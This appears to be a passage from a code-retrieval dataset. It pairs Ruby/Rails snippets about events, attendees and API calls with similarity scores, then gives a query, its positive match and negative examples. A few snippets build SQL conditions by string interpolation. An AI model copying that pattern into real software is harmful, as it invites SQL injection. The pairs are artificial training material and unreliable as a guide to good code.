EventDate.all\n end\n end", "def owned_events\n events\n end", "def all_adverse_events\n AdverseEvent\n .current\n .with_site(all_editable_sites.select(:id))\n .blinding_scope(self)\n end", "def events_commissioned_at\n find_related_frbr_objects( :is_commissioned_for, :which_events?) \n end", "def event_associations\n Hash[event_types.map do |type|\n association = send(:\"#{type}_events\")\n [type.to_s.pluralize.to_sym, association]\n end]\n end", "def load_events\r\n @events = Event.find(:all, \r\n :conditions => [\"user_id = \"\\\r\n \"#{session[:user_id]} and (begins >= CURRENT_DATE()\"\\\r\n \"or ends >= CURRENT_DATE())\"] ,\r\n :order => 'begins ASC')\r\n end", "def set_event\n @event = Event.where(id: params[:event_id]).includes({ sessions: [{ attendees: :member }] }).first\n end", "def find_event_model(name)\n find_event(name.to_sym)\n end", "def find_event\n coffee_shop = find_coffee_shop\n return find_event_for_coffee_owner(coffee_shop) if current_user&.coffee_owner?\n return find_event_for_sys_expert(coffee_shop) if current_user&.sys_expert?\n find_event_for_other(coffee_shop)\n end", "def events\n RoyalEvent::Event.where(\n \"id IN (#{subquery.to_sql})\"\n ).order(default_order)\n end", "def related_events(result = Set.new)\n each_event do |ev|\n ev.related_events(result)\n end\n\n result.reject { |ev| ev.respond_to?(:task) && ev.task == self }\n .to_set\n end", "def handle_belongs_to(model, associated)\n __method = __method__\n # trace __FILE__, __LINE__, self, __method__, \" : model.class=#{model.class} associated=#{associated.class} has?=#{has?}\"\n associated = [associated] unless associated.is_a?(Array)\n # trace __FILE__, __LINE__, self, __method__, \" : associated.size=#{associated.size}\"\n if has?\n associated.each do |associate|\n # trace __FILE__, __LINE__, self, __method, \" : model.class=#{model.class} associate=#{associate.class}\"\n inverse = associate.class.belongs_to_association(collection)\n # trace __FILE__, __LINE__, self, __method, \" : model.class=#{model.class} associate=#{associate.class}\"\n if inverse\n # trace __FILE__, __LINE__, self, __method, \" : setting inverse associate.class##{inverse.local_attr} to #{model.class}\"\n associate.send(:\"#{inverse.local_attr}=\", model)\n # trace __FILE__, __LINE__, self, __method\n end\n end\n end\n end", "def related_events(result = Set.new)\n\t each_event do |ev|\n\t\tev.related_events(result)\n\t end\n\n\t result.reject { |ev| ev.respond_to?(:task) && ev.task == self }.\n\t\tto_set\n\tend", "def upcoming_calendar_events\n self.calendar_events.joins(:event).where(\"DATEDIFF(`start_time`,?) >= 0\", Time.now.beginning_of_day)\n end", "def load_event\n @event = Event.find(params[:id])\n end", "def set_event\n @event = Event.includes(:event_photos).find(params[:id])\n end", "def attendees\n EventAttendee.find_all_by_event_id(self.id) \n end", "def events_at_venue(venue)\n venue_events[venue.id]\n end", "def event_instances(calendar_id, event_id)\n end", "def events_user_is_attending\n events = Attendance.where(:user_uid => self.uid)\n event_ids = events.pluck(:event_id)\n return Event.where(:id => event_ids)\nend", "def model_events\n [state_events].flatten\n end", "def associations\r\n [nil, joins]\r\n end", "def show\n @event = Event.includes(:creator, event_attendances: [:attendee]).find(params[:id])\n end", "def feed\n Event.joins(:attendances).where(\"philanthropist_id = ?\", id)\n end", "def get_events\n # events created by this user\n @my_events = User.find(current_user.id).event_attendants.where('owner = 1')\n\n # events this user has joined\n @joined_events = User.find(current_user.id).event_attendants.where('attendee_status = 3 and owner IS NULL')\n \n # events this user is invited to\n @invited_to_events = User.find(current_user.id).event_attendants.where('attendee_status = 0')\n\n @maybe_events = User.find(current_user.id).event_attendants.where('attendee_status = 2')\n end", "def created_events\n Event.where(creator_id: self.id)\n end", "def relevant_events_scope\n events\n end", "def all_events(start, finish, include_assignments = false, child = nil) # last param used in student & teacher\r\n tracks = school.current_term.tracks\r\n (universal_events(start, finish, tracks) + \r\n Event.where([\"invitable_type = 'Staff' AND invitable_id = ? AND date BETWEEN ? AND ?\", school_id, start, finish]) + \r\n Event.where([\"invitable_type = 'Teachers' AND creator_id = ? AND date BETWEEN ? AND ?\", id, start, finish])).sort_by{|event|event.date} \r\n #(audience_type == Group && groups.map(&:id).include?(audience_id)\r\n end", "def association_dataset_for(object)\n condition = if can_have_associated_objects?(object)\n predicate_keys.zip(predicate_key_values(object))\n else\n false\n end\n\n associated_dataset.where(condition)\n end", "def get_belongs_tos_for(model_name)\n associations.select { |a| a.name == model_name }.map(&:belongs_to_model)\n end", "def to_a\n return [] if current_page > MAX_PAGE\n\n relation = if groups\n project_and_group_events\n else\n project_events\n end\n\n relation = paginate_events(relation)\n relation.with_associations.to_a\n end", "def events(options = {})\n GeoCerts::Event.find_by_order_id(self.id, options)\n end", "def found_events\n @mood.events\n end", "def event_list\n @custom_event = Custom_event.find(params[:id])\n end", "def index\n @events_to_me = Event.joins('LEFT OUTER JOIN events_users ON events_users.event_id = events.id').where(\"events_users.user_id=?\", current_user.id)\n @events_from_me = Event.where(creator: current_user)\n\n @events = @events_to_me + @events_from_me\n end", "def find_events(event)\n events = []\n name = event.name\n category = event.category\n description = event.description\n snapshots = find_project_snapshots(event.snapshot_id)\n snapshots.each do |snapshot|\n snapshot.events.reject { |e| e.name!=name || e.category!=category }.each do |event|\n events << event\n end\n end\n events\n end", "def set_event\n @event = Event.where(id: params[:id]).includes({\n sessions: [{\n guests: { teacher: :photos },\n location: :nearby_locations\n }],\n },\n :cover_photos, :photos).first\n raise ActiveRecord::RecordNotFound.new if @event.nil?\n end", "def with_collecting_event_through_georeferences\n geographic_items = GeographicItem.arel_table\n georeferences = Georeference.arel_table\n g1 = georeferences.alias('a')\n g2 = georeferences.alias('b')\n\n c = geographic_items.join(g1, Arel::Nodes::OuterJoin).on(geographic_items[:id].eq(g1[:geographic_item_id]))\n .join(g2, Arel::Nodes::OuterJoin).on(geographic_items[:id].eq(g2[:error_geographic_item_id]))\n\n GeographicItem.joins(# turn the Arel back into scope\n c.join_sources # translate the Arel join to a join hash(?)\n ).where(\n g1[:id].not_eq(nil).or(g2[:id].not_eq(nil)) # returns a Arel::Nodes::Grouping\n ).distinct\n end", "def object_fields\n EventField\n end", "def find_parent_event\n # Find event passed in from filter:\n @parent_event = Event.find_by_id(params[:event_id]); # Will return an object or return nil.\n\n # DEBUG ONLY:\n puts(\"find_event: Event OBJECT passed in: \" + @parent_event.to_s);\n\n if (@parent_event)\n puts(\"found event: \" + @parent_event.name);\n else\n puts(\"didn't find event.\")\n end\n end", "def tickets\n Ticket.all.select do |ticket|\n ticket.event == self\n end\n end", "def all_adverse_event_comments\n AdverseEventComment\n .current\n .where(\"user_id = ? or project_id in (?)\", id, all_projects.select(:id))\n end", "def find_event\n @event = Event.find(params[:id])\n end", "def get_events()\n\t\tevents = []\n\n\t\t@DB[:events].order(:date).each do |event|\n\t\t\tnewTimeslots = []\n\t\t\t@DB[:timeslots].where(parent_table: 'events', parent_id: event[:'id']).each do |timeslot|\n\t\t\t\tnewTimeslots.push(DateTime.parse(timeslot[:'time']))\n\t\t\tend\n\n\t\t\tnewAttendees = []\n\t\t\t@DB[:attendees].where(parent_id: event[:'id']).each do |attendee|\n\t\t\t\tattendeeTimeslots = []\n\t\t\t\t@DB[:timeslots].where(parent_table: 'attendees', parent_id: attendee[:'id']).each do |timeslot|\n\t\t\t\t\tattendeeTimeslots.push(DateTime.parse(timeslot[:'time']))\n\t\t\t\tend\n\n\t\t\t\tnewAttendee = Attendee.new(attendee[:'name'], attendeeTimeslots)\n\t\t\t\tnewAttendees.push(newAttendee)\n\t\t\tend\n\n\t\t\tnewEvent = Event.new(event[:'name'], event[:'description'], newTimeslots, newAttendees, event[:'id'])\n\t\t\tif newEvent.get_date >= @epoch\n\t\t\t\tevents.push(newEvent)\n\t\t\tend\n\t\tend\n\n\t\treturn events\n\tend", "def event_list\n @_events\n end", "def home\n\n @events = Event.limit(4)\n @events_calendar = Event.all\n\nend", "def find_event\n @event = Event.find(params[:id])\n end", "def load_event\n @event = Event.find(params[:event_id])\n end", "def index\n @company_events = CompanyEvent.all\n end", "def all_viewable_adverse_events\n AdverseEvent\n .current\n .with_site(all_viewable_sites.select(:id))\n .blinding_scope(self)\n end", "def events_that_are_available_to_me\nevents_i_can_see = []\nevents_i_can_see = events_i_can_see + self.events_friends_attending.pluck(:id)\nevents_i_can_see = events_i_can_see + self.events_friends_created.pluck(:id)\nreturn Event.where(:id => events_i_can_see)\nend", "def posts\n Post.all_for_event(self.id)\n end", "def eager_loading_use_associated_key?\n true\n end", "def events\n @events ||= Array(context[:events]).reverse.map { |event| Concierge::SafeAccessHash.new(event) }\n end", "def eager_load_belongs_to(obj)\n association = self.class.associations.select{|k,v| v == obj.class.name}.first or return\n name = association.first\n return unless name\n @associations[name] = obj\n end", "def get_all_attended_events\n events_id = Attendance.where(:user_id => self).map{ |attendence| attendence.event.id}\n Event.where(:id => events_id).where_first_meeting_starts_in_past\n end", "def org_events\n @org_events ||= orgs.map { |o| o.events }.flatten\n end", "def show\n @events_ordered = Event.order('startdate ASC')\n joined_event = []\n event_user = []\n if params[\"from\"]==\"myevents\"\n act = Active.where(user_id: current_user.id)\n act.each do |active|\n joined = @events_ordered.find(active.event_id)\n if joined.user_id != current_user.id\n joined_event << joined\n end\n end\n\n event_user = @events_ordered.where(user_id: current_user.id)\n ev = joined_event + event_user\n @user_events = ev.paginate(page: params[:page], per_page: 5)\n else\n @user_events = @user.events.paginate(page: params[:page], per_page: 5)\n end\n end", "def index\n @event_users_linkings = EventDetailsLinking.all\n end", "def index\n @event_events = Event::Event.all\n @aproved_events = Event::Event.aproved_events\n @unaproved_events = Event::Event.unaproved_events\n end", "def index\n @events = Event.find(:all) \n end", "def set_event_event\n @event_event = Event::Event.find(params[:id])\n end", "def source_event\n return @source_event if @source_event\n return unless full_data\n\n source_event_id = full_data.fetch_path(:source_event_id)\n @source_event = EventStream.find_by(:id => source_event_id) if source_event_id\n end", "def add_associated_events_to_days(events)\n each { |day| day.events = events.select { |event| event.start_date == day || (event.start_date < day && event.end_date >= day && day == first) } }\n end", "def events\n collection(\"events\")\n end", "def venue_events(id)\n get(\"venues/#{id}/events\").events\n end", "def scaf_belongs_tos\n scaf_assocs.select { |a|\n [:belongs_to].include?( a.macro )\n }\n end", "def events_with_presence(bool)\n current_user.participations.includes(:event).where(presence: bool).map { |p| p.event }\n end", "def show\n @event_comments = @event.comments.includes(:user).references(:user)\n\n end", "def find_event\n @event = Event.find(params[:id])\n end", "def index\n #@event_days = EventDay.all\n @event_days = Event.find(params[:event_id]).event_days\n end", "def find_events(role)\n # note - Ruby should have a way to do this in one step - but I can't find it\n # map includes all elements, select includes entire object, need something that goes in between\n # not really sure why I need the to_s, but role is not string if I pass in :ROLE\n parts = participations.select { |p| (!p.event.nil? and p.role == role.to_s) }\n events = parts.map { |p| p.event }\n end", "def choice_objects\n choices.map{|event_id| Event.find(event_id) }\n end", "def events_happening_at\n find_related_frbr_objects( :happens_at, :which_events?) \n end", "def events_friends_attending\nfriend_uids = self.friends.pluck(:uid)\nevents_attending = Attendance.where(:user_uid => friend_uids)\nevent_id = events_attending.pluck(:event_id)\nreturn Event.where(:id => event_id)\nend" ]
[ "0.64219326", "0.6222262", "0.60331595", "0.5831709", "0.58291835", "0.577701", "0.5764571", "0.5707574", "0.5642834", "0.56223303", "0.55735326", "0.550983", "0.5488459", "0.54418063", "0.54418063", "0.54395103", "0.5420702", "0.53794605", "0.5376009", "0.5334593", "0.533122", "0.53091395", "0.53043634", "0.5298205", "0.52953273", "0.5273204", "0.5268948", "0.5267303", "0.52653563", "0.52515256", "0.5244357", "0.52153164", "0.5190713", "0.51880693", "0.51461893", "0.51416236", "0.5128622", "0.5118233", "0.511539", "0.511052", "0.51102024", "0.510804", "0.51074135", "0.50982183", "0.5091974", "0.50912446", "0.50804263", "0.5073039", "0.5063355", "0.5061825", "0.50488263", "0.50467813", "0.50374097", "0.50373405", "0.50360596", "0.5032288", "0.50321054", "0.5029937", "0.50269055", "0.50127697", "0.5006614", "0.50014424", "0.49955165", "0.49948895", "0.49928644", "0.49903217", "0.49743608", "0.49701807", "0.49674404", "0.49594083", "0.49584442", "0.4955585", "0.49540824", "0.49540645", "0.49509984", "0.49495804", "0.49405754", "0.49360526", "0.49297175", "0.49276727", "0.49196386", "0.49111816", "0.49085543", "0.48940367", "0.4893811", "0.48933128", "0.48915097", "0.4891092", "0.48869085", "0.48823768", "0.4878848", "0.48749027", "0.48715872", "0.48636737", "0.48547956", "0.4850713", "0.48492035", "0.4849091", "0.48487544", "0.4847541" ]
0.6757708
0
Get name of the element
def element_name adapter.element_name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def name(element)\n get(element)[:name]\n end", "def name\n @elements[:name]\n end", "def element_name\n @element_name ||= Utils.string_underscore(Utils.string_demodulize(name))\n end", "def element_name; end", "def element_name() @stag.element_name end", "def elem_name\n elem_name = self.class.to_s.split('::').last.gsub(/([a-z])([A-Z])/, '\\1_\\2').downcase\n end", "def element_name(str)\n find_element(:name, str)\n end", "def get_tag_name(element)\n element.tag_name\n end", "def name\n $browser.element(@selector).h1(css: 'h1').text\n end", "def tag_name(locator)\n find_element(locator).tag_name\n end", "def qualified_name() element_name.qualified_name end", "def name\n nodename = @nodes_xml.at_css 'node_name'\n nodename.text\n end", "def name\n @doc.css('map').attr('name').value\n end", "def name\n node.name\n end", "def name\n node.name\n end", "def name\n @name ||= @node['name']\n end", "def get_node_name(element)\n element_spec = get_spec(element)\n if element_spec\n element_spec['node']\n else\n nil\n end\n end", "def name\n attrs[:name]\n end", "def getName()\n\t\t\treturn @_name\n\t\tend", "def name_for_label\n self.class.translated_label_for(self.name, self.element.name)\n end", "def name\n @name ||= @node['name']\n end", "def name\n @content[pn(:Name)]\n end", "def name\n @attributes[:name]\n end", "def name\n @attributes[:name]\n end", "def name\n @attributes[:name]\n end", "def name\n @attributes[:name]\n end", "def find_name name\n find_element :name, name\n end", "def name\n @attributes[:name]\n end", "def name()\n return @name\n end", "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "def nodeName\n @name\n end", "def nodeName\n @name\n end", "def nodeName\n @name\n end", "def name\n \"<#{@name}>\" if defined?(@name) && @name\n end", "def name\n self[ :name ]\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n return @name\n end", "def name\n @attribute.name\n end", "def name\n read_attr :name\n end", "def get_name\r\n self.name\r\n end", "def name\n attributes.fetch(:name)\n end", "def getName\n return @name\n end", "def getName\n return @name\n end", "def getName()\n return @name ;\n end", "def get_name\n @name\n end", "def getName()\r\n\t\treturn @name\r\n\tend", "def getName()\n return @name\n end", "def name\n @attributes[:Name]\n end", "def name\n return @name\n end", "def name\n _name = nil\n self.tags.each do |x|\n if x.tkey == \"name\"\n _name = x.tvalue\n end\n end\n _name\n end", "def name\n @name\n end", "def name\n @_name\n end", "def name\n @attributes.fetch('name', nil)\n end", "def name\n @attributes.fetch('name', nil)\n end", "def name\n @attributes.fetch('name', nil)\n end", "def name\n @attributes.fetch('name', nil)\n end", "def name\n @name\n end", "def first_element_name\n return $browser.as(:class, 'message')[0].text\n end", "def get_name()\n @name\n end", "def get_name()\n @name\n end", "def get_name\n\t\treturn @name\n\tend", "def get_name\n\t\treturn @name\n\tend", "def get_name\n\t\treturn @name\n\tend", "def iname\n attributes['name']\n end", "def iname\n attributes['name']\n end", "def iname\n attributes['name']\n end", "def get_name\n return @m_name\n end", "def get_name\n return @m_name\n end", "def get_name\n return @m_name\n end", "def get_name\n return @m_name\n end", "def getName; @name; end", "def name() return @name end", "def name() return @name end", "def name\n @name\n end", "def name\n @name\n end", "def name\n @name\n end", "def name\n @name\n end", "def name\n @name\n end", "def name\n @name\n end", "def name\n @name\n end", "def name\n @name\n end" ]
[ "0.8999219", "0.8527474", "0.84551555", "0.8320638", "0.80881417", "0.7841808", "0.7622297", "0.7616019", "0.74770665", "0.73897123", "0.7344094", "0.7335176", "0.7327624", "0.729434", "0.729434", "0.72068185", "0.718877", "0.7107599", "0.7100965", "0.70793396", "0.70766777", "0.7057762", "0.703312", "0.703312", "0.703312", "0.703312", "0.7023836", "0.7014451", "0.70117986", "0.6982881", "0.6982881", "0.6982881", "0.6982881", "0.6982881", "0.69799525", "0.69799525", "0.69799525", "0.696924", "0.69687146", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.6967892", "0.69565135", "0.69497764", "0.6932028", "0.6930681", "0.69303215", "0.69303215", "0.69155115", "0.6909604", "0.68966436", "0.6882151", "0.68796664", "0.687898", "0.68789595", "0.68751144", "0.68742913", "0.6873449", "0.6873449", "0.6873449", "0.6873449", "0.6866857", "0.68560314", "0.68541205", "0.68541205", "0.6836286", "0.6836286", "0.6836286", "0.68255717", "0.68255717", "0.68255717", "0.6816757", "0.6816757", "0.6816757", "0.6816757", "0.6815783", "0.6813324", "0.6813324", "0.6801199", "0.6801199", "0.6801199", "0.6801199", "0.6801199", "0.6801199", "0.6801199", "0.6801199" ]
0.81602675
4
Convenience for getting element blueprints
def element_blueprints(composite_object = nil) adapter.element_blueprints(composite_object) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def getMethodsInElement(element)\n\treturn element.inspect;\nend", "def element_render_naming\n OBJ_ELEMENT_RENDER_NAMING\n end", "def blueprint_value\n Blueprints::RootNamespace.root.build @name => @options\n @registry.inject(Blueprints::RootNamespace.root.context.instance_variable_get(:\"@#{@iv_name}\")) do |value, (method, args, block)|\n value.send(method, *args, &block)\n end\n end", "def element_name; end", "def elements\n begin\n if %w(tags posts).include?(@resource.to_s)\n return parsed_response[@resource.to_s][singular_r_name] || []\n elsif %w(bundles).include?(@resource.to_s)\n return parsed_response[@resource.to_s].empty? ? [] : parsed_response[@resource.to_s].map {|el| el[singular_r_name] } \n end\n rescue NoMethodError => e \n return parsed_response\n end\n end", "def getElement\n @element\n end", "def dump_components()\n return driver.find_elements(:css, '*')\nend", "def dump_components()\n return driver.find_elements(:css, '*')\nend", "def feed_elements\n elements.named(definition['feed_elements'])\n end", "def get_elem_controller\n elem_type.tableize\n end", "def description\n description = self.class.descriptions.detect { |d| d['name'] == self.name }\n if description.blank?\n log_warning \"Could not find element definition for #{self.name}. Please check your elements.yml!\"\n return {}\n else\n return description\n end\n end", "def element_render_naming\n XML_ELEMENT_RENDER_NAMING\n end", "def elements\n find_by_tag('*')\n end", "def element_render_naming\n JSON_ELEMENT_RENDER_NAMING\n end", "def getStyleElement\n return @element\n end", "def element; end", "def element; end", "def element; end", "def element; end", "def element_root\n name.demodulize.underscore.pluralize\n end", "def elements\n model = self.model.constantize\n model.respond_to?(:generic_listing_elements) ? model.generic_listing_elements : model.all\n end", "def inspect\n generate_inspect(self, :path, :elements)\n end", "def attribute_list(el); end", "def elements\n @elements ||= context\n .private_methods\n .grep(/\\A(?!wait_)\\w+_element\\z/)\n .map { |el| Meta::Element.new(el.to_s.gsub('_element', ''), context) }\n end", "def elements\n @resolver.elements\n end", "def elements_for_layout(layout)\n elements = []\n layout_elements = PageLayout.get(layout)[\"elements\"]\n return Element.descriptions if layout_elements == \"all\"\n Element.descriptions.each do |element|\n if layout_elements.include?(element[\"name\"])\n elements << element\n end\n end\n elements\n end", "def element_symbol; end", "def inspect\n \"#<#{ [\"V[#{element_id}]\", display_name].compact.join(' ') }>\"\n end", "def inspect\n \"#<#{ [\"V[#{element_id}]\", display_name].compact.join(' ') }>\"\n end", "def get_elements_array\n element_names\n end", "def qualified_name() element_name.qualified_name end", "def inspect\n \"<#{self.class.to_s} \" +\n self.elements.collect { |e| e.name.inspect }.join(' ') +\n \">\"\n end", "def element_name\n adapter.element_name\n end", "def elem_name\n elem_name = self.class.to_s.split('::').last.gsub(/([a-z])([A-Z])/, '\\1_\\2').downcase\n end", "def blueprint_class\n Machinist::Blueprint\n end", "def get_blueprint name\n connection.resource(:get, \"clusters/#{name}?format=blueprint\")\n end", "def elements\n return @elements\n end", "def blueprint(name, &block)\n Blueprint.new(name, @namespaces.last, @file, &block)\n end", "def returnable_elements(aggregations = [])\n if aggregations.blank?\n return nodes + attribute_constraints\n else\n return aggregations.collect{|agg| agg.pattern_element}\n end\n end", "def elements; end", "def elements; end", "def elements; end", "def element_name() @stag.element_name end", "def full_url_for_element element\n \"http://\" + request.env[\"HTTP_HOST\"] + \"/\" + element.page.urlname + \"##{element.name}_#{element.id}\" \n end", "def element_names_for(page_layout)\n if definition = get(page_layout)\n definition.fetch(\"elements\", [])\n else\n Rails.logger.warn \"\\n+++ Warning: No layout definition for #{page_layout} found! in page_layouts.yml\\n\"\n []\n end\n end", "def get_children(name, args)\n children_hash = {}\n\n blue_prints.send(name).each do |child_key, child_blue_prints|\n child_location = location + \"[#{child_key}]\"\n\n children_hash[child_key] = args.fetch(:interface).new(driver,\n child_blue_prints,\n child_key, self, child_location)\n end\n\n children_hash\n end", "def to_element\n self\n end", "def components; end", "def visual_elements\n return @visual_elements\n end", "def element\n factory.body\n end", "def components\n\n end", "def attributes\n @element_map\n end", "def inspect_class_name\n s = \"#{element_type.to_s.scan(/Elem|Obj|V|E/).last}\"\n s = \"#{s}-#{function.name.split('::').last.sub(/Filter|Route$/, '')}\" if function\n s = \"#{s} #{ @info }\" if @info\n s\n end", "def name\n @elements[:name]\n end", "def element\n \"Attribute\"\n end", "def get_element_with_attributes name=nil\n get_element(name,nil,true)\n end", "def definitions\n Element.definitions.collect { |e| e['contents'] }.flatten.compact\n end", "def inspect\n generate_inspect(self, :name, :cache, :elements)\n end", "def index\n @blueprints = Blueprint.all\n end", "def viewsWithStylename name\n r = []\n subviews.each do |view|\n if view.stylename == name\n r.push name\n end\n r += view.viewsWithStylename name\n end\n r\n end", "def custom_element_tags\n return @custom_element_tags if defined? @custom_element_tags\n @custom_element_tags =\n element_exporters\n .flat_map { |element| element.custom_element_tags }\n .uniq\n end", "def dom_class; end", "def dom_class; end", "def dom_class; end", "def dom_class; end", "def get_elements(xpath); end", "def element\n raise NotImplementedError\n end", "def rendering_builder\n ManifestBuilder::RenderingBuilder\n end", "def element_definitions_by_name(names)\n return [] if names.blank?\n\n if names.to_s == \"all\"\n Element.definitions\n else\n Element.definitions.select { |e| names.include? e['name'] }\n end\n end", "def blue\n end", "def descriptors\n @descriptors ||= (attributes + parameters)\n end", "def method_structure(collection = false)\n ElementHelper.method_structure collection\n end", "def ial_for_element(el); end", "def element_init\n extend TagMaker\n methods = \"\"\n # - -\n for element in %w[ A TT I B U STRIKE BIG SMALL SUB SUP EM STRONG\n DFN CODE SAMP KBD VAR CITE FONT ADDRESS DIV center MAP\n APPLET PRE XMP LISTING DL OL UL DIR MENU SELECT table TITLE\n STYLE SCRIPT H1 H2 H3 H4 H5 H6 TEXTAREA FORM BLOCKQUOTE\n CAPTION ]\n methods += <<-BEGIN + nn_element_def(element) + <<-END\n def #{element.downcase}(attributes = {})\n BEGIN\n end\n END\n end\n\n # - O EMPTY\n for element in %w[ IMG BASE BASEFONT BR AREA LINK PARAM HR INPUT\n ISINDEX META ]\n methods += <<-BEGIN + nOE_element_def(element) + <<-END\n def #{element.downcase}(attributes = {})\n BEGIN\n end\n END\n end\n\n # O O or - O\n for element in %w[ HTML HEAD BODY P PLAINTEXT DT DD LI OPTION tr\n th td ]\n methods += <<-BEGIN + nO_element_def(element) + <<-END\n def #{element.downcase}(attributes = {})\n BEGIN\n end\n END\n end\n eval(methods)\n end", "def print_element\n puts element_box_string\n end", "def xapit_index_blueprint\n @xapit_index_blueprint\n end", "def child_components()\n @child_components\n end", "def descriptors\n @descriptions ||= (attributes + parameters)\n end", "def component_deps(cmp)\n component(cmp).fetch('deps', [])\nend", "def component_deps(cmp)\n component(cmp).fetch('deps', [])\nend", "def inspect\n \"#<E[#{element_id}]:#{display_name}>\"\n end", "def inspect\n \"#<E[#{element_id}]:#{display_name}>\"\n end", "def available_element_definitions(only_element_named = nil)\n @_element_definitions ||= if only_element_named\n definition = Element.definition_by_name(only_element_named)\n element_definitions_by_name(definition['nestable_elements'])\n else\n element_definitions\n end\n\n return [] if @_element_definitions.blank?\n\n @_existing_element_names = elements.not_trashed.pluck(:name)\n delete_unique_element_definitions!\n delete_outnumbered_element_definitions!\n\n @_element_definitions\n end", "def get_fields elements\n elements.each do |expr|\n if expr.is_a? Array\n field_match = match_with_syntax_error expr[0], FIELD_IS_REGEX, 'A field name must be given', 'Add a vaidated field with \"<field_name> is\"'\n field_name = field_match[1]\n @blueprint.field_names << field_name\n field_properties = get_field_properties( expr, field_name)\n @blueprint.add_attribute( field_name, *field_properties)\n \n # puts \"added field #{field_name} with value #{field_properties.inspect}\"\n end\n end\n end", "def components\n return @components\n end", "def elements(name, *find_args)\n build_elements(name, *find_args) do\n define_method(name) do |*runtime_args, &block|\n raise_if_block(self, name, !block.nil?, :elements)\n _all(*merge_args(find_args, runtime_args))\n end\n\n create_get_element_params(name, find_args)\n end\n end", "def element_definitions\n @_element_definitions ||= element_definitions_by_name(element_definition_names)\n end", "def element_subcategory; end", "def cascading_elements\n instances\n end", "def definition\n if (definition = self.class.definition_by_name(name))\n definition\n else\n log_warning \"Could not find element definition for #{name}. \" \\\n \"Please check your elements.yml file!\"\n {}\n end\n end", "def children\n Sass::Util.abstract(self)\n end", "def definition\n if definition = self.class.definition_by_name(name)\n definition\n else\n log_warning \"Could not find element definition for #{name}. \" \\\n \"Please check your elements.yml file!\"\n {}\n end\n end", "def theme_elements\n theme.split('-')\n end", "def identify doc = @doc\n doc.elements.first.name.to_sym\n end", "def element(tag='div', *args)\n attrs = args.last.respond_to?(:fetch) && args.pop || nil\n args.push(lambda(&Proc.new)) if block_given?\n args.push GAP if args.empty?\n _element(tag).plug(ATTRS => attrs, GAP => args)\n end", "def element_description\n raise NotImplementedError\n end", "def selectors\n self.class.selectors\n end", "def result(name = nil)\n element_ids.to_a.id_to_element_route(:based_on => self, :name => name)\n end", "def registry\n Service.descendants\n end", "def xml_schema_elements\n elements = []\n eigenclass = (class << self; self; end)\n elements.concat(eigenclass.elements)\n eigenclass.ancestors.each do |ancestor|\n elements.concat(ancestor.elements)\n break if Element == ancestor\n end\n elements\n end" ]
[ "0.5650715", "0.5597755", "0.5554425", "0.5522174", "0.54490626", "0.5446046", "0.54126674", "0.5401665", "0.53939074", "0.53799003", "0.5357485", "0.5303517", "0.5283296", "0.5280536", "0.52704984", "0.5252942", "0.5252942", "0.5252942", "0.5252942", "0.5247162", "0.52180487", "0.51858675", "0.51615065", "0.5160704", "0.51484543", "0.514697", "0.51205015", "0.51092947", "0.51092947", "0.5091738", "0.5089005", "0.5087658", "0.50726587", "0.50721663", "0.5062019", "0.5058718", "0.50396186", "0.5033868", "0.50093955", "0.49918896", "0.49918896", "0.49918896", "0.49699137", "0.4968514", "0.49396196", "0.49305663", "0.49143887", "0.49046072", "0.49045068", "0.48824415", "0.48769107", "0.4864655", "0.48583263", "0.48490503", "0.48439416", "0.48301774", "0.47969493", "0.47837767", "0.47630215", "0.4745637", "0.47418514", "0.47393945", "0.47393945", "0.47393945", "0.47393945", "0.47322443", "0.47271007", "0.471552", "0.47133794", "0.47114184", "0.47086993", "0.47008917", "0.46998453", "0.46929035", "0.46909377", "0.4683857", "0.46801126", "0.46733674", "0.4672054", "0.4672054", "0.4667248", "0.4667248", "0.4666438", "0.46654215", "0.46552923", "0.46478337", "0.4647225", "0.4644833", "0.4641099", "0.4639303", "0.46346205", "0.46308038", "0.46160576", "0.459819", "0.4596327", "0.45936698", "0.45932826", "0.45894843", "0.45881933", "0.45826086" ]
0.6912869
0
Gets the mode from the data and calls the API. Returns the response from the API.
def checkModes(data) mode = data['mode'] call_features=Array.new(1) { Hash.new } if mode=="labels" call_features<<{ type:"LABEL_DETECTION", maxResults:1 } end return apiRequest(data['image'],call_features) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_mode\n send_request(FUNCTION_GET_MODE, [], '', 1, 'C')\n end", "def get_node_mode_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiNsxComponentAdministrationApplianceApi.get_node_mode ...'\n end\n # resource path\n local_var_path = '/node/mode'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'NodeMode')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiNsxComponentAdministrationApplianceApi#get_node_mode\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def mode\n TflApi::Client::Mode.new(self)\n end", "def get_node_mode_with_http_info(opts = {})\n if @api_client.config.debugging\n 